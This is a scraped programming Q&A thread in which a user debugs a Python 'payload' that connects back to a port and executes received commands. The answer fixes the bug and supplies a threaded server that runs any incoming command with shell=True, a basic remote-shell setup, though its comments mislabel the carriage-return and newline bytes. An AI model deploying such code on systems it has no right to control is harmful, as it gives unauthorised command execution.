TypeError: 'socket' object is not iterable

Question

I was trying to make a program that executes system commands on other systems. Getting this error when I give commands to execute on the terminal.

import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")

while True:
    cmd = payload.recv(2048)
    if cmd == 'exit':
        payload.close()
        break
    cmd = cmd.decode('utf-8')
    output = subprocess.check_output(payload, shell=True)
    payload.send(output)

the output is this

Traceback (most recent call last):
  File "C:UsersWasiiDesktoppython-payloadpayload.py", line 13, in <module>
    output = subprocess.check_output(payload, shell=True)
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 420, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 501, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 966, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 1375, in _execute_child
    args = list2cmdline(args)
  File "C:UsersWasiiAppDataLocalProgramsPythonPython310libsubprocess.py", line 561, in list2cmdline
    for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable

Asked By: Momna

||

Source

Answer 1

You nned to be passing cmd to subprocess.check_output, not payload.

This is how I would code the server in order to handle multiple concurrent clients:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
            cmd = cmd.decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')

Update

Per the comment made by AKX, if you are concerned that the complete command may not be received in a single call to socket.socket.recv, then you can have a convention that the command must be terminated by a special "end-of-command" character. You then read the input one byte at a time assembling the command until you see the "end-of-command" character. In the example below we set the end-of-command character to be a newline, which may optionally be preceded by a carriage return. In this way we can test on Windows or Linux using a telnet client:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            buf = []
            # Command ends with a newline optionally preceded by a carriage return
            # Accumulate byte stings until a newline is seen:
            while True:
                bytestring = self.request.recv(1)
                if bytestring[0] == 10: # carriage return?
                    continue
                if bytestring[0] != 13: # newline?
                    buf.append(bytestring)
                else:
                    break # We have seen the end-of-command character
            # Assemble all the 1-byte strings
            cmd = b''.join(buf).decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')

Answered By: Booboo

TypeError: 'socket' object is not iterable

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